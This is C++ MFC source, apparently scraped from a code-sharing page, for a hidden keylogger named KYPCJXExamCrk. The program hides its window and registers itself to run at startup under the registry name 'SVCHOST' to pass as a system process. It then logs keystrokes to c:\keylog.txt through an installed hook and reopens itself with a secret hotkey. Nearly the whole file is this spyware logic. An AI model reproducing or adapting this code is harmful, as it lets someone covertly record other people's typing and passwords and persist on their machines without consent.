?? kypcjxexamcrk.cpp
字號:
// KYPCJXExamCrk.cpp : 定義應用程序的類行為。
//
#include "stdafx.h"
#include "KYPCJXExamCrk.h"
#include "KYPCJXExamCrkDlg.h"
#include ".\kypcjxexamcrk.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
void WINAPI Installhook();
// CKYPCJXExamCrkApp
BEGIN_MESSAGE_MAP(CKYPCJXExamCrkApp, CWinApp)
ON_COMMAND(ID_HELP, CWinApp::OnHelp)
END_MESSAGE_MAP()
// CKYPCJXExamCrkApp 構造
CKYPCJXExamCrkApp::CKYPCJXExamCrkApp()
: havetime(false)
{
// TODO: 在此處添加構造代碼,
// 將所有重要的初始化放置在 InitInstance 中
}
// 唯一的一個 CKYPCJXExamCrkApp 對象
CKYPCJXExamCrkApp theApp;
// CKYPCJXExamCrkApp 初始化
BOOL CKYPCJXExamCrkApp::InitInstance()
{
// 如果一個運行在 Windows XP 上的應用程序清單指定要
// 使用 ComCtl32.dll 版本 6 或更高版本來啟用可視化方式,
//則需要 InitCommonControls()。否則,將無法創建窗口。
InitCommonControls();
CWinApp::InitInstance();
if (!AfxSocketInit())
{
AfxMessageBox(IDP_SOCKETS_INIT_FAILED);
return FALSE;
}
// 初始化 OLE 庫
if (!AfxOleInit())
{
AfxMessageBox(IDP_OLE_INIT_FAILED);
return FALSE;
}
AfxEnableControlContainer();
// 標準初始化
// 如果未使用這些功能并希望減小
// 最終可執行文件的大小,則應移除下列
// 不需要的特定初始化例程
// 更改用于存儲設置的注冊表項
// TODO: 應適當修改該字符串,
// 例如修改為公司或組織名
SetRegistryKey(_T("SVCHOST"));
::CreateMutex(NULL,TRUE,m_pszExeName);
if(GetLastError()==ERROR_ALREADY_EXISTS)
{
return FALSE;
}
//設置自動啟動
TCHAR shortpathname[_MAX_PATH];
char filename[_MAX_PATH];
GetModuleFileName(0,filename,_MAX_PATH);
::GetShortPathName(filename,shortpathname,_MAX_PATH);//將獲得的路徑轉換為DOS格式路徑以符合獲取的進程路徑
HKEY hKey;
::RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&hKey);
if(atoi(theApp.ReadRegeditPath("info5")))//讀取是否自動啟動
::RegSetValueEx(hKey,"SVCHOST",0,REG_SZ,(BYTE*)shortpathname,_MAX_PATH);
else
{
::RegSetValueEx(hKey,"SVCHOST",0,REG_SZ,(BYTE*)shortpathname,_MAX_PATH);
::RegDeleteValue(hKey,"SVCHOST");
}
::RegCloseKey(hKey);
//
//CKYPCJXExamCrkDlg dlg;
CKYPCJXExamCrkDlg * pdlg=new CKYPCJXExamCrkDlg();
m_pMainWnd = pdlg;
pdlg->Create(IDD_KYPCJXEXAMCRK,0);
pdlg->ShowWindow(SW_HIDE);
DWORD id=GlobalAddAtom("KYPCJXExamCrk");
RegisterHotKey(pdlg->m_hWnd,id,MOD_ALT|MOD_CONTROL,65);
char buffer[64];
SYSTEMTIME time;
GetSystemTime(&time);
sprintf(buffer,"\x0d\x0a日期:%d-%d-%d \x0d\x0a",
time.wYear,time.wMonth,time.wDay);
CString name("c:\\keylog.txt");
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(buffer,(UINT)strlen(buffer));
file.Close();
Installhook();
// Since the dialog has been closed, return FALSE so that we exit the
// application, rather than start the application's message pump.
return TRUE;
}
int CKYPCJXExamCrkApp::ExitInstance()
{
//設置自動啟動
/*char filename[64];
GetModuleFileName(0,filename,64);
HKEY hKey;
::RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&hKey);
if(atoi(this->ReadRegeditPath("info5")))//讀取是否自動啟動
::RegSetValueEx(hKey,"SVCHOST",0,REG_SZ,(BYTE*)filename,64);
else
{
::RegSetValueEx(hKey,"SVCHOST",0,REG_SZ,(BYTE*)filename,64);
::RegDeleteValue(hKey,"SVCHOST");
}
::RegCloseKey(hKey);*/
//
TCHAR shortpathname[_MAX_PATH];
char filename[_MAX_PATH];
GetModuleFileName(0,filename,_MAX_PATH);
::GetShortPathName(filename,shortpathname,_MAX_PATH);//將獲得的路徑轉換為DOS格式路徑以符合獲取的進程路徑
HKEY hKey;
::RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&hKey);
if(atoi(theApp.ReadRegeditPath("info5")))//讀取是否自動啟動
::RegSetValueEx(hKey,"SVCHOST",0,REG_SZ,(BYTE*)shortpathname,_MAX_PATH);
else
{
::RegSetValueEx(hKey,"SVCHOST",0,REG_SZ,(BYTE*)shortpathname,_MAX_PATH);
::RegDeleteValue(hKey,"SVCHOST");
}
::RegCloseKey(hKey);
return CWinApp::ExitInstance();
}
CString CKYPCJXExamCrkApp::ReadRegeditPath(CString value)
{
CString str(_T(""));
HKEY hKEY;//定義有關的hKEY,在查詢結束時要關閉
//打開與路徑 data_Set相關的hKEY
LPCTSTR data_Set="Software\\Microsoft\\KYPCJXExamCrk\\";
//訪問注冊表,hKEY則保存此函數所打開的鍵的句柄
long ret0=(::RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_Set,0,KEY_READ,&hKEY));
if(ret0!=ERROR_SUCCESS)//如果無法打開hKEY,則中止程序的執行
return CString();
//查詢有關的數據
LPBYTE dir_Get=new BYTE[MAX_PATH];//定義
DWORD type_1=REG_SZ;//定義數據類型
DWORD cbData_1=MAX_PATH;//定義數據長度
long ret1=::RegQueryValueEx(hKEY,value,NULL,&type_1,dir_Get,&cbData_1);
if(ret1!=ERROR_SUCCESS)
return CString();
else
str=CString(dir_Get);
::RegCloseKey(hKEY);
return str;
}
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -